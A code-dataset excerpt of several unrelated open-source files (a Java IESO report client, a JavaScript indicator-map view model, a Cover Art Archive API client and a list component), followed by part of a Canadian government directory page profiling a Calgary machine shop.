for the current (default) report. * @throws MalformedURLException * @throws IOException */ public DocHeader getDefaultDocHeader() throws MalformedURLException, IOException { Document document = this.getDefaultDocument(); return this.getDocHeader(document); } /** * Returns only the {@link DocBody} portion of the {@link Document}. * * @param document * {@link Document} comprised of two parts: {@link DocHeader} and * {@link DocBody}. * @return {@link DocBody} */ public DocBody getDocBody(Document document) { List<Object> docHeaderAndDocBody = document.getDocHeaderAndDocBody(); return super.getDocPart(docHeaderAndDocBody, DocBody.class); } /** * Get a {@link DocBody} for a date in past. * * @param historyDate * Date in the past that a report is being requested for. * @return Returns the {@link DocBody} of a past report. * @throws MalformedURLException * @throws IOException */ public DocBody getDocBodyForDate(Date historyDate) throws MalformedURLException, IOException { Document document = super.getDocumentForDate(historyDate, Document.class); return this.getDocBody(document); } /** * Makes a request for each Date in the provided range (inclusive) building * out a {@link List} of {@link DocBody} objects. * * @param startDate * Start point (inclusive) of the date range (ie. date furthest * in the past). * @param endDate * End point (inclusive) of the date range (ie. date closest to * present). * @return If the startDate is in the future, a one-item {@link List} of * {@link DocBody} Objects will be returned. If endDate is in the * future the {@link List} will stop at the current (default) * report. * @throws MalformedURLException * @throws IOException */ public List<DocBody> getDocBodiesInDateRange(Date startDate, Date endDate) throws MalformedURLException, IOException { List<DocBody> docBodies = new ArrayList<DocBody>(); List<Document> documents = super.getDocumentsInDateRange(startDate, endDate, Document.class); for (Document document : documents) { docBodies.add(this.getDocBody(document)); } return docBodies; } /** * Returns only the {@link DocHeader} portion of the {@link Document}. * * @param document * {@link Document} comprised of two parts: {@link DocHeader} and * {@link DocBody}. * * @return {@link DocHeader} */ public DocHeader getDocHeader(Document document) { List<Object> docHeaderAndDocBody = document.getDocHeaderAndDocBody(); return super.getDocPart(docHeaderAndDocBody, DocHeader.class); } /** * Get a {@link DocHeader} for a date in past. * * @param historyDate * Date in the past that a report header is being requested for. * @return Returns the {@link DocHeader} of a past report. * @throws MalformedURLException * * @throws IOException */ public DocHeader getDocHeaderForDate(Date historyDate) throws MalformedURLException, IOException { Document document = super.getDocumentForDate(historyDate, Document.class); return this.getDocHeader(document); } /** * Makes a request for each Date in the provided range (inclusive) building * out a {@link List} of {@link DocHeader} Objects. * * @param startDate * Start point (inclusive) of the date range (ie. date furthest * in the past). * @param endDate * End point (inclusive) of the date range (ie. date closest to * present). * @return If the startDate is in the future, a one-item {@link List} of * {@link DocHeader} Objects will be returned. If endDate is in the * future the {@link List} will stop at the current (default) * report. * @throws MalformedURLException * @throws IOException */ public List<DocHeader> getDocHeadersInDateRange(Date startDate, Date endDate) throws MalformedURLException, IOException { List<DocHeader> docHeaders = new ArrayList<DocHeader>(); List<Document> documents = super.getDocumentsInDateRange(startDate, endDate, Document.class); for (Document document : documents) { docHeaders.add(this.getDocHeader(document)); } return docHeaders; } /** * Unmarshals XML text into a {@link Document} using JAXB2, into the package * name specified by {@link #getJaxb2ContextPath()}. * * @param urlString * The URL that will be unmarshalled into a {@link Document}. * @return {@link Document} * @throws MalformedURLException * @throws IOException * */ private Document getDocument(String urlString) throws MalformedURLException, IOException { return super.getDocument(urlString, Document.class); } }
r24mille/IesoPublicReportBindings
src/main/java/name/reidmiller/iesoreports/client/PredispatchMarketTotalsClient.java
Java
mit
6,791
"use strict"; function IndicatorComparisonViewModel (data) { var self = this; self.type = "IndicatorComparisonViewModel"; self.rootvm = data.rootvm; self.map = undefined; self.added_map_layers = []; self.markers = []; self.geojson = undefined; self.mapInfo = undefined; self.mapInfo_div = undefined; self.map_divisions = undefined; self.map_legend = undefined; self.map_legend_div = undefined; self.map_selected_year = ko.observable(); self.locations = ko.observableArray([]); self.location_types = ko.observableArray([]); /* We might have a selected location from the parameter line */ self.indicator_uuid = ko.observable(); self.location_uuid = ko.observable(); self.selected_indicator = ko.observable(new Indicator({rootvm:data.rootvm})); self.indicator_locations = ko.observableArray([]); self.observable_timestamps = ko.observableArray([]); self.observable_timestamp_options = ko.computed(function(){ // Matt just sidestepping doing it the right way. // return [{value: 2010, text: "2006-2010"}, {value: 2015, text:"2011-2015"}]; // This is a bit of a hack since we don't exactly handle ranges // the best... var options = []; if(self.rootvm.startpagevm.educationvm.indicator_titles.indexOf( self.selected_indicator().title()) >= 0){ for(var i = 0; i < self.observable_timestamps().length; i++){ options.push({'value':self.observable_timestamps()[i].year(), 'label':(parseInt(self.observable_timestamps()[i].year()) - 1) + '-' + self.observable_timestamps()[i].year() }) } } else if(self.observable_timestamps().length > 2){ for(var i = 0; i < self.observable_timestamps().length; i++){ options.push({'value':self.observable_timestamps()[i].year(), 'label':self.observable_timestamps()[i].year()}) } } else if(self.selected_indicator().title() && self.selected_indicator().title().indexOf('burden') >= 0){ options = ko.utils.arrayMap(self.observable_timestamps(), function(item){ return {value: item.year(), label:item.year() - 4 + ' - ' + item.year()}; }); } else if(self.selected_indicator().title() && self.selected_indicator().title().indexOf('ebl') >= 0 ){ options = ko.utils.arrayMap(self.observable_timestamps(), function(item){ return {value: item.year(), label:item.year() - 4 + ' - ' + item.year()}; }); } else if(self.selected_indicator().title() && self.selected_indicator().title().indexOf('mort') >= 0 ){ options = ko.utils.arrayMap(self.observable_timestamps(), function(item){ return {value: item.year(), label:item.year() - 4 + ' - ' + item.year()}; }); } else if(self.observable_timestamps().length == 2){ // Then our second set of values is really a range /* options.push({'value':self.observable_timestamps()[0].year(), 'label':'2006-'+self.observable_timestamps()[0].year()}) options.push({'value':self.observable_timestamps()[1].year(), 'label':'2011-' + self.observable_timestamps()[1].year()}) */ options = ko.utils.arrayMap(self.observable_timestamps(), function(item){ return {value: item.year(), label:item.year() - 4 + ' - ' + item.year()}; }); } else if(self.observable_timestamps().length == 1){ options = ko.utils.arrayMap(self.observable_timestamps(), function(item){ return {value: item.year(), label:'Avg. ' + (item.year() - 4) + ' - ' + item.year()}; }); // Then our second set of values is really a range //options.push({'value':self.observable_timestamps()[0].year(), // 'label':'Avg. 2009 - ' + self.observable_timestamps()[0].year()}) } return options; }); self.selector_location = ko.observable(); self.asc = ko.observable(true); self.sort_column = ko.observable(); self.selected_location_type = ko.observable(); self.location_search = ko.observable(); self.initialize = function(){ //We gotta refresh the map if(self.map){ self.map.invalidateSize(); } self.selected_indicator().indicator_uuid(self.indicator_uuid()); self.selected_indicator().look_up_details(); self.get_all_location_types().then(self.get_all_locations); self.get_all_indicator_values(); // Reset Sort self.asc(true); self.sort_column(undefined); // When we hit the page again, clear out the map if(self.map != undefined){ self.clear_map(); } }; self.csv_link = ko.computed(function(){ var base_url= "/api/indicator-values-by-indicator-csv"; base_url += '?indicator_uuid=' + self.selected_indicator().indicator_uuid(); return base_url; }); self.location_type_filtered = ko.computed(function(){ if(self.selected_location_type() != undefined){ return ko.utils.arrayFilter(self.indicator_locations(), function(item){ return item.location_type() == self.selected_location_type(); }); } else{ return self.indicator_locations(); } }); self.location_search_filtered = ko.computed(function(){ if(self.location_search()){ return ko.utils.arrayFilter(self.location_type_filtered(), function(item){ return item.title().indexOf(self.location_search()) >= 0; }); } else{ return self.location_type_filtered(); } }); self.location_click_sort = function(){ self.sort_column('location'); // now we need to do the actual sort by year here // of indicator_locations self.indicator_locations.sort(function(left, right){ var sort_mult = self.asc() ? -1 : 1; // need to get in to indicator values and year return left.title() > right.title() ? 1 * sort_mult : -1 * sort_mult; }); self.asc(!self.asc()); } self.year_click_sort = function(observable_timestamp_option){ var year = observable_timestamp_option.value; self.sort_column(year); // now we need to do the actual sort by year here // of indicator_locations self.indicator_locations.sort(function(left, right){ var sort_mult = self.asc() ? -1 : 1; // need to get in to indicator values and year // var left_value = left.indicator_value_by_year(year); var right_value = right.indicator_value_by_year(year); if (typeof(left_value) == 'function' && typeof(right_value) == 'function') { return left_value() > right_value() ? 1 * sort_mult : -1 * sort_mult; } return typeof(left_value) != 'function' && typeof(right_value) != 'function' ? 0 : typeof(right_value) != 'function' ? 1 * sort_mult : -1 * sort_mult; }); self.asc(!self.asc()); }; self.get_all_indicator_values = function(){ self.rootvm.is_busy(true); return $.ajax({ url: "/api/indicator-values-by-indicator", type: "GET", dataType: "json", processData: true, data: {'indicator_uuid':self.selected_indicator().indicator_uuid(), 'order_by_area':true }, complete: function () { self.rootvm.is_busy(false); }, success: function (data) { if (data.success) { self.observable_timestamps(ko.utils.arrayMap( data.distinct_observable_timestamps || [], function(x){ return new moment(x.observation_timestamp); } )); self.indicator_locations(ko.utils.arrayMap( data.indicatorvalues || [], function (x) { x.location.rootvm = self.rootvm; var l = new Location(x.location); l.indicator_values(ko.utils.arrayMap( x.indicator_location_values|| [], function (x) { x.rootvm = self.rootvm; x.indicator = self.selected_indicator(); x.indicator_value_format= self.selected_indicator().indicator_value_format(); return new IndicatorValue(x); } )); return l; })); } else { toastr.error(data.message); } } }); }; self.get_all_location_types = function(){ /* Look up the different location_types */ return $.ajax({ url: "/api/location-types", type: "GET", dataType: "json", complete: function () { }, success: function (data) { if (data.success) { self.location_types(data.location_types); } else { toastr.error(data.message); } } }); } self.get_all_locations = function(){ return $.ajax({ url: "/api/all-locations-with-shape-data", type: "GET", dataType: "json", complete: function () { }, success: function (data) { if (data.success) { self.locations( ko.utils.arrayMap( data.locations || [], function (x) { x.rootvm = self.rootvm; return new Location(x); })); } else { toastr.error(data.message); } } }); }; /* We need to do this after the source is loaded and part of the DOM * so that we can instantiate the map here */ self.sourceLoaded = function(){ self.map = L.map("comparisonMap").setView([41.49, -81.69], 11); L.esri.basemapLayer("Streets").addTo(self.map); self.mapInfo = L.control(); self.legend = L.control({position: 'bottomleft'}); self.legend.onAdd = self.create_legend; }; self.clear_map = function(){ self.map.removeLayer(self.geojson); for ( var index in self.markers){ self.map.removeLayer(self.markers[index]) } self.markers = []; if(self.legend._map != null){ self.map.removeControl(self.legend); } if(self.mapInfo._map != null){ self.map.removeControl(self.mapInfo); } }; self.update_map_button_disable = ko.computed(function(){ if(self.selected_location_type() != undefined && self.map_selected_year() != undefined){ return false; } else{ return true; } }); self.update_map = function(){ // First clear map if it's got stuff on it if(self.geojson != undefined){ self.clear_map(); } var geoToAdd = []; var geoValues = []; ko.utils.arrayForEach(self.location_search_filtered(), function(loc){ var leaf_feature = loc.leaflet_feature(self.map_selected_year().value); // only add if we have a value if(typeof(leaf_feature.properties.indicator_value) == 'function' && leaf_feature.geometry){ geoToAdd.push(leaf_feature); geoValues.push(leaf_feature.properties.indicator_value); } }); // Sort geo to add by value asc geoValues.sort(function(a, b){ return a()-b(); }); //Make divisions self.map_divisions = [] if (geoValues.length >= 5) { self.map_divisions = [geoValues[0], geoValues[Math.floor(geoValues.length / 4)], geoValues[Math.floor(geoValues.length / 2)], geoValues[Math.floor(geoValues.length * .75)], geoValues[geoValues.length - 1]]; } else{ self.map_divisions[geoValues[0], geoValues[geoValues.length-1]] } // This adds the actual layers to the map var featureCollection = {"type": "FeatureCollection", "features":geoToAdd}; console.debug(featureCollection); self.geojson = L.geoJson(featureCollection,{ style: self.makeStyle, onEachFeature:self.makeOnEachFeature}).addTo(self.map); self.mapInfo.onAdd = function (map) { if(self.mapInfo_div == undefined){ // create a div with a class "info" self.mapInfo_div = L.DomUtil.create('div', 'info'); this._div = self.mapInfo_div; this.update(); return this._div; } else{ return self.mapInfo_div; } }; // method that we will use to update the control based on feature properties passed self.mapInfo.update = function (props) { this._div.innerHTML = '<h4>' + self.selected_indicator().pretty_label() + (props ? ' - ' + self.map_selected_year().text + '</h4>' + '<b>' + props.name + '</b><br />' + '<i style="background:' + self.get_location_color(props.indicator_value()) + '"></i>' + props.indicator_value.formatted() :'</h4>' + 'Hover over a location or click on a marker'); }; self.mapInfo.addTo(self.map); self.legend.addTo(self.map); }; /* Makes an outline of an area on the map*/ self.create_feature_layer = function(new_location){ var layer_coordinates = new_location.location_shape_json(); var geoToAdd = [L.geoJson(layer_coordinates, {style: {color:"#444", opacity:.4, fillColor:"#72B5F2", weight:1, fillOpacity:0.6}})]; var fg = L.featureGroup(geoToAdd) fg.addTo(self.map); self.added_map_layers.push(fg); } /* These are mapping things */ self.create_legend = function(map){ var div; var labels = []; if(self.map_legend_div == undefined){ // create a div with a class "info" var div = L.DomUtil.create('div', 'info legend'); self.map_legend_div = div; } else{ div = self.map_legend_div; } // If we redraw map, clear out the div $(div).empty(); // loop through our density intervals and // generate a label with a colored square for each interval for (var i = 0; i < self.map_divisions.length - 1; i++) { div.innerHTML += '<i style="background:' + self.get_location_color(self.map_divisions[i]() + 1) + '"></i> ' + self.map_divisions[i].formatted() + (self.map_divisions[i + 1].formatted() ? '&ndash;' + self.map_divisions[i + 1].formatted() + '<br>' : '+'); } return div; }; self.makeStyle = function (feature) { return { fillColor: self.get_location_color(feature.properties.indicator_value()), weight: 2, opacity: 1, color: 'white', dashArray: '3', fillOpacity: 0.7 }; } self.layers_highlighted = []; self.highlightFeature = function (e, args) { if(self.layers_highlighted.length > 0){ self.resetAllHighlights(); } var layer = (e.layer == undefined ? e.target.layer : e.target) layer.setStyle({ weight: 5, color: '#666', dashArray: '', fillOpacity: 0.7 }); self.mapInfo.update(layer.feature.properties); if (!L.Browser.ie && !L.Browser.opera) { layer.bringToFront(); } // Add to all layers that we've highlighted self.layers_highlighted.push(layer); } self.resetAllHighlights = function(){ // clear out all highlighted layers while(self.layers_highlighted.length > 0){ self.resetHighlight(self.layers_highlighted.pop()); } } self.resetHighlight = function (e) { // Gonna reeset all highlights var layer = (e.target != undefined ? e.target : e); self.geojson.resetStyle(layer); self.mapInfo.update(); } self.makeOnEachFeature = function(feature, layer) { layer.on({ mouseover: self.highlightFeature, mouseout: self.resetHighlight, }); // Do not draw markers for neighborhoods. if (feature.properties.location_type != "neighborhood") { var bounds = layer.getBounds(); // Get center of bounds var center = bounds.getCenter(); // Use center to put marker on map var marker = L.marker(center) marker.layer = layer layer.marker = marker self.markers.push(marker); marker.on('click', self.highlightFeature).addTo(self.map); } } self.get_location_color = function(value){ if(self.map_divisions.length == 5){ return value > self.map_divisions[4]() ? '#00441b' : value > self.map_divisions[3]() ? '#006d2c' : value > self.map_divisions[2]() ? '#238b45' : value > self.map_divisions[1]() ? '#41ab5d' : '#74c476'; } else{ return '#238b45'; } } };
216software/Profiles
profiles/static/viewmodels/indicatorcomparisonviewmodel.js
JavaScript
mit
18,844
import ExtendableError from 'es6-error'; import Client from '../../api/client.js'; export class CoverArtArchiveError extends ExtendableError { constructor(message, response) { super(message); this.response = response; } } export default class CoverArtArchiveClient extends Client { constructor({ baseURL = process.env.COVER_ART_ARCHIVE_BASE_URL || 'http://coverartarchive.org/', limit = 10, period = 1000, ...options } = {}) { super({ baseURL, limit, period, ...options }); } /** * Sinfully attempt to parse HTML responses for the error message. */ parseErrorMessage(err) { if (err.name === 'HTTPError') { const { body } = err.response; if (typeof body === 'string' && body.startsWith('<!')) { const heading = /<h1>([^<]+)<\/h1>/i.exec(body); const message = /<p>([^<]+)<\/p>/i.exec(body); return new CoverArtArchiveError( `${heading ? heading[1] + ': ' : ''}${message ? message[1] : ''}`, err.response ); } } return super.parseErrorMessage(err); } images(entityType, mbid) { return this.get(`${entityType}/${mbid}`, { resolveBodyOnly: true }); } async imageURL(entityType, mbid, typeOrID = 'front', size) { let url = `${entityType}/${mbid}/${typeOrID}`; if (size != null) { url += `-${size}`; } const response = await this.get(url, { method: 'HEAD', followRedirect: false, }); return response.headers.location; } }
exogen/graphbrainz
src/extensions/cover-art-archive/client.js
JavaScript
mit
1,513
export const listComponent = new Component({ element: "#list", render: (data) => html` <li> <h3>${ data }</h3> </li>` })
chocolatechip-ui/chocolatechipui
cli-resources/basic/dev/components/listComponent.js
JavaScript
mit
139
<!DOCTYPE html> <!--[if lt IE 9]><html class="no-js lt-ie9" lang="en" dir="ltr"><![endif]--> <!--[if gt IE 8]><!--> <html class="no-js" lang="en" dir="ltr"> <!--<![endif]--> <!-- Usage: /eic/site/ccc-rec.nsf/tpl-eng/template-1col.html?Open&id=3 (optional: ?Open&page=filename.html&id=x) --> <!-- Created: ; Product Code: 536; Server: stratnotes2.ic.gc.ca --> <head> <!-- Title begins / Début du titre --> <title> Natayo Manufacturing Inc. - Complete profile - Canadian Company Capabilities - Industries and Business - Industry Canada </title> <!-- Title ends / Fin du titre --> <!-- Meta-data begins / Début des métadonnées --> <meta charset="utf-8" /> <meta name="dcterms.language" title="ISO639-2" content="eng" /> <meta name="dcterms.title" content="" /> <meta name="description" content="" /> <meta name="dcterms.description" content="" /> <meta name="dcterms.type" content="report, data set" /> <meta name="dcterms.subject" content="businesses, industry" /> <meta name="dcterms.subject" content="businesses, industry" /> <meta name="dcterms.issued" title="W3CDTF" content="" /> <meta name="dcterms.modified" title="W3CDTF" content="" /> <meta name="keywords" content="" /> <meta name="dcterms.creator" content="" /> <meta name="author" content="" /> <meta name="dcterms.created" title="W3CDTF" content="" /> <meta name="dcterms.publisher" content="" /> <meta name="dcterms.audience" title="icaudience" content="" /> <meta name="dcterms.spatial" title="ISO3166-1" content="" /> <meta name="dcterms.spatial" title="gcgeonames" content="" /> <meta name="dcterms.format" content="HTML" /> <meta name="dcterms.identifier" title="ICsiteProduct" content="536" /> <!-- EPI-11240 --> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <!-- MCG-202 --> <meta content="width=device-width,initial-scale=1" name="viewport"> <!-- EPI-11567 --> <meta name = "format-detection" content = "telephone=no"> <!-- EPI-12603 --> <meta name="robots" content="noarchive"> <!-- EPI-11190 - Webtrends --> <script> var startTime = new Date(); startTime = startTime.getTime(); </script> <!--[if gte IE 9 | !IE ]><!--> <link href="/utils/scripts/_WET_4-0/apps/themes-dist/gcweb/assets/favicon.ico" rel="icon" type="image/x-icon"> <link rel="stylesheet" href="/utils/scripts/_WET_4-0/apps/themes-dist/gcweb/css/wet-boew.min.css"> <!--<![endif]--> <link rel="stylesheet" href="/utils/scripts/_WET_4-0/apps/themes-dist/gcweb/css/theme.min.css"> <!--[if lt IE 9]> <link href="/utils/scripts/_WET_4-0/apps/themes-dist/gcweb/assets/favicon.ico" rel="shortcut icon" /> <link rel="stylesheet" href="/utils/scripts/_WET_4-0/apps/themes-dist/gcweb/css/ie8-wet-boew.min.css" /> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script> <script src="/utils/scripts/_WET_4-0/apps/themes-dist/gcweb/js/ie8-wet-boew.min.js"></script> <![endif]--> <!--[if lte IE 9]> <![endif]--> <noscript><link rel="stylesheet" href="/utils/scripts/_WET_4-0/apps/themes-dist/gcweb/css/noscript.min.css" /></noscript> <!-- Google Tag Manager DO NOT REMOVE OR MODIFY - NE PAS SUPPRIMER OU MODIFIER --> <script>dataLayer1 = [];</script> <!-- End Google Tag Manager --> <!-- EPI-11235 --> <link rel="stylesheet" href="/eic/home.nsf/css/add_WET_4-0_Canada_Apps.css"> <link href="//netdna.bootstrapcdn.com/font-awesome/4.0.3/css/font-awesome.css" rel="stylesheet"> <link href="/app/ccc/srch/css/print.css" media="print" rel="stylesheet" type="text/css" /> </head> <body class="home" vocab="http://schema.org/" typeof="WebPage"> <!-- EPIC HEADER BEGIN --> <!-- Google Tag Manager DO NOT REMOVE OR MODIFY - NE PAS SUPPRIMER OU MODIFIER --> <noscript><iframe title="Google Tag Manager" src="//www.googletagmanager.com/ns.html?id=GTM-TLGQ9K" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript> <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer1'?'&l='+l:'';j.async=true;j.src='//www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);})(window,document,'script','dataLayer1','GTM-TLGQ9K');</script> <!-- End Google Tag Manager --> <!-- EPI-12801 --> <span typeof="Organization"><meta property="legalName" content="Department_of_Industry"></span> <ul id="wb-tphp"> <li class="wb-slc"> <a class="wb-sl" href="#wb-cont">Skip to main content</a> </li> <li class="wb-slc visible-sm visible-md visible-lg"> <a class="wb-sl" href="#wb-info">Skip to "About this site"</a> </li> </ul> <header role="banner"> <div id="wb-bnr" class="container"> <section id="wb-lng" class="visible-md visible-lg text-right"> <h2 class="wb-inv">Language selection</h2> <div class="row"> <div class="col-md-12"> <ul class="list-inline mrgn-bttm-0"> <li><a href="nvgt.do?V_TOKEN=1492305696809&V_SEARCH.docsCount=3&V_DOCUMENT.docRank=31871&V_SEARCH.docsStart=31870&V_SEARCH.command=navigate&V_SEARCH.resultsJSP=/prfl.do&lang=fra&redirectUrl=/app/scr/imbs/ccc/rgstrtn/updt.sec?_flId?_flxKy=e1s1&amp;estblmntNo=234567041301&amp;profileId=61&amp;_evId=bck&amp;lang=eng&amp;V_SEARCH.showStricts=false&amp;prtl=1&amp;_flId?_flId?_flxKy=e1s1" title="Français" lang="fr">Français</a></li> </ul> </div> </div> </section> <div class="row"> <div class="brand col-xs-8 col-sm-9 col-md-6"> <a href="http://www.canada.ca/en/index.html"><object type="image/svg+xml" tabindex="-1" data="/utils/scripts/_WET_4-0/apps/themes-dist/gcweb/assets/sig-blk-en.svg"></object><span class="wb-inv"> Government of Canada</span></a> </div> <section class="wb-mb-links col-xs-4 col-sm-3 visible-sm visible-xs" id="wb-glb-mn"> <h2>Search and menus</h2> <ul class="list-inline text-right chvrn"> <li><a href="#mb-pnl" title="Search and menus" aria-controls="mb-pnl" class="overlay-lnk" role="button"><span class="glyphicon glyphicon-search"><span class="glyphicon glyphicon-th-list"><span class="wb-inv">Search and menus</span></span></span></a></li> </ul> <div id="mb-pnl"></div> </section> <!-- Site Search Removed --> </div> </div> <nav role="navigation" id="wb-sm" class="wb-menu visible-md visible-lg" data-trgt="mb-pnl" data-ajax-fetch="//cdn.canada.ca/gcweb-cdn-dev/sitemenu/sitemenu-en.html" typeof="SiteNavigationElement"> <h2 class="wb-inv">Topics menu</h2> <div class="container nvbar"> <div class="row"> <ul class="list-inline menu"> <li><a href="https://www.canada.ca/en/services/jobs.html">Jobs</a></li> <li><a href="http://www.cic.gc.ca/english/index.asp">Immigration</a></li> <li><a href="https://travel.gc.ca/">Travel</a></li> <li><a href="https://www.canada.ca/en/services/business.html">Business</a></li> <li><a href="https://www.canada.ca/en/services/benefits.html">Benefits</a></li> <li><a href="http://healthycanadians.gc.ca/index-eng.php">Health</a></li> <li><a href="https://www.canada.ca/en/services/taxes.html">Taxes</a></li> <li><a href="https://www.canada.ca/en/services.html">More services</a></li> </ul> </div> </div> </nav> <!-- EPIC BODY BEGIN --> <nav role="navigation" id="wb-bc" class="" property="breadcrumb"> <h2 class="wb-inv">You are here:</h2> <div class="container"> <div class="row"> <ol class="breadcrumb"> <li><a href="/eic/site/icgc.nsf/eng/home" title="Home">Home</a></li> <li><a href="/eic/site/icgc.nsf/eng/h_07063.html" title="Industries and Business">Industries and Business</a></li> <li><a href="/eic/site/ccc-rec.nsf/tpl-eng/../eng/home" >Canadian Company Capabilities</a></li> </ol> </div> </div> </nav> </header> <main id="wb-cont" role="main" property="mainContentOfPage" class="container"> <!-- End Header --> <!-- Begin Body --> <!-- Begin Body Title --> <!-- End Body Title --> <!-- Begin Body Head --> <!-- End Body Head --> <!-- Begin Body Content --> <br> <!-- Complete Profile --> <!-- Company Information above tabbed area--> <input id="showMore" type="hidden" value='more'/> <input id="showLess" type="hidden" value='less'/> <h1 id="wb-cont"> Company profile - Canadian Company Capabilities </h1> <div class="profileInfo hidden-print"> <ul class="list-inline"> <li><a href="cccSrch.do?lang=eng&profileId=&prtl=1&key.hitsPerPage=25&searchPage=%252Fapp%252Fccc%252Fsrch%252FcccBscSrch.do%253Flang%253Deng%2526amp%253Bprtl%253D1%2526amp%253Btagid%253D&V_SEARCH.scopeCategory=CCC.Root&V_SEARCH.depth=1&V_SEARCH.showStricts=false&V_SEARCH.sortSpec=title+asc&amp;rstBtn.x=" class="btn btn-link">New Search</a>&nbsp;|</li> <li><form name="searchForm" method="post" action="/app/ccc/srch/bscSrch.do"> <input type="hidden" name="lang" value="eng" /> <input type="hidden" name="profileId" value="" /> <input type="hidden" name="prtl" value="1" /> <input type="hidden" name="searchPage" value="%2Fapp%2Fccc%2Fsrch%2FcccBscSrch.do%3Flang%3Deng%26amp%3Bprtl%3D1%26amp%3Btagid%3D" /> <input type="hidden" name="V_SEARCH.scopeCategory" value="CCC.Root" /> <input type="hidden" name="V_SEARCH.depth" value="1" /> <input type="hidden" name="V_SEARCH.showStricts" value="false" /> <input id="repeatSearchBtn" class="btn btn-link" type="submit" value="Return to search results" /> </form></li> <li>|&nbsp;<a href="nvgt.do?V_SEARCH.docsStart=31869&amp;V_DOCUMENT.docRank=31870&amp;V_SEARCH.docsCount=3&amp;lang=eng&amp;prtl=1&amp;sbPrtl=&amp;profile=cmpltPrfl&amp;V_TOKEN=1492305725884&amp;V_SEARCH.command=navigate&amp;V_SEARCH.resultsJSP=%2fprfl.do&amp;estblmntNo=123456111537&amp;profileId=&amp;key.newSearchLabel=">Previous Company</a></li> <li>|&nbsp;<a href="nvgt.do?V_SEARCH.docsStart=31871&amp;V_DOCUMENT.docRank=31872&amp;V_SEARCH.docsCount=3&amp;lang=eng&amp;prtl=1&amp;sbPrtl=&amp;profile=cmpltPrfl&amp;V_TOKEN=1492305725884&amp;V_SEARCH.command=navigate&amp;V_SEARCH.resultsJSP=%2fprfl.do&amp;estblmntNo=123456095950&amp;profileId=&amp;key.newSearchLabel=">Next Company</a></li> </ul> </div> <details> <summary>Third-Party Information Liability Disclaimer</summary> <p>Some of the information on this Web page has been provided by external sources. The Government of Canada is not responsible for the accuracy, reliability or currency of the information supplied by external sources. Users wishing to rely upon this information should consult directly with the source of the information. Content provided by external sources is not subject to official languages, privacy and accessibility requirements.</p> </details> <h2> Natayo Manufacturing Inc. </h2> <div class="row"> <div class="col-md-5"> <h2 class="h5 mrgn-bttm-0">Legal/Operating Name:</h2> <p>Natayo Manufacturing Inc.</p> <div class="mrgn-tp-md"></div> <p class="mrgn-bttm-0" ><a href="http://www.natayo.com" target="_blank" title="Website URL">http://www.natayo.com</a></p> </div> <div class="col-md-4 mrgn-sm-sm"> <h2 class="h5 mrgn-bttm-0">Mailing Address:</h2> <address class="mrgn-bttm-md"> 6060 86 Ave SE<br/> CALGARY, Alberta<br/> T2C 4L7 <br/> </address> <h2 class="h5 mrgn-bttm-0">Location Address:</h2> <address class="mrgn-bttm-md"> 6060 86 Ave SE<br/> CALGARY, Alberta<br/> T2C 4L7 <br/> </address> <p class="mrgn-bttm-0"><abbr title="Telephone">Tel.</abbr>: (403) 720-7700 </p> <p class="mrgn-bttm-lg"><abbr title="Facsimile">Fax</abbr>: (403) 720-7750</p> </div> <div class="col-md-3 mrgn-tp-md"> </div> </div> <div class="row mrgn-tp-md mrgn-bttm-md"> <div class="col-md-12"> <h2 class="wb-inv">Company Profile</h2> <br> Full service machine shop and fabrication facility. We are ISO 9001:2008 certified<br> </div> </div> <!-- <div class="wb-tabs ignore-session update-hash wb-eqht-off print-active"> --> <div class="wb-tabs ignore-session"> <div class="tabpanels"> <details id="details-panel1"> <summary> Full profile </summary> <!-- Tab 1 --> <h2 class="wb-invisible"> Full profile </h2> <!-- Contact Information --> <h3 class="page-header"> Contact information </h3> <section class="container-fluid"> <div class="row mrgn-tp-lg"> <div class="col-md-3"> <strong> Ken Black </strong></div> </div> <div class="row mrgn-lft-md"> <div class="col-md-5"> <strong> Title: </strong> </div> <div class="col-md-7"> <!--if client gender is not null or empty we use gender based job title--> President </div> </div> <div class="row mrgn-lft-md"> <div class="col-md-5"> <strong> Area of Responsibility: </strong> </div> <div class="col-md-7"> Management Executive. </div> </div> <div class="row mrgn-lft-md"> <div class="col-md-5"> <strong> Telephone: </strong> </div> <div class="col-md-7"> (403) 720-7700 </div> </div> <div class="row mrgn-lft-md"> <div class="col-md-5"> <strong> Facsimile: </strong> </div> <div class="col-md-7"> (403) 720-7750 </div> </div> <div class="row mrgn-tp-lg"> <div class="col-md-3"> <strong> Chris Hauck </strong></div> </div> <div class="row mrgn-lft-md"> <div class="col-md-5"> <strong> Title: </strong> </div> <div class="col-md-7"> General Manager<br> </div> </div> <div class="row mrgn-lft-md"> <div class="col-md-5"> <strong> Telephone: </strong> </div> <div class="col-md-7"> (403) 720-7700 </div> </div> <div class="row mrgn-lft-md"> <div class="col-md-5"> <strong> Facsimile: </strong> </div> <div class="col-md-7"> (403) 720-7750 </div> </div> <div class="row mrgn-tp-lg"> <div class="col-md-3"> <strong> Gord Gallop </strong></div> </div> <div class="row mrgn-lft-md"> <div class="col-md-5"> <strong> Title: </strong> </div> <div class="col-md-7"> Machine Shop Manager<br> </div> </div> <div class="row mrgn-lft-md"> <div class="col-md-5"> <strong> Telephone: </strong> </div> <div class="col-md-7"> (403) 720-7700 </div> </div> <div class="row mrgn-lft-md"> <div class="col-md-5"> <strong> Facsimile: </strong> </div> <div class="col-md-7"> (403) 720-7750 </div> </div> <div class="row mrgn-tp-lg"> <div class="col-md-3"> <strong> Matt Johnstone </strong></div> </div> <div class="row mrgn-lft-md"> <div class="col-md-5"> <strong> Title: </strong> </div> <div class="col-md-7"> Fabrication Manager<br> </div> </div> <div class="row mrgn-lft-md"> <div class="col-md-5"> <strong> Telephone: </strong> </div> <div class="col-md-7"> (403) 720-7700 </div> </div> <div class="row mrgn-lft-md"> <div class="col-md-5"> <strong> Facsimile: </strong> </div> <div class="col-md-7"> (403) 720-7750 </div> </div> </section> <p class="mrgn-tp-lg text-right small hidden-print"> <a href="#wb-cont">top of page</a> </p> <!-- Company Description --> <h3 class="page-header"> Company description </h3> <section class="container-fluid"> <div class="row"> <div class="col-md-5"> <strong> Country of Ownership: </strong> </div> <div class="col-md-7"> Canada &nbsp; </div> </div> <div 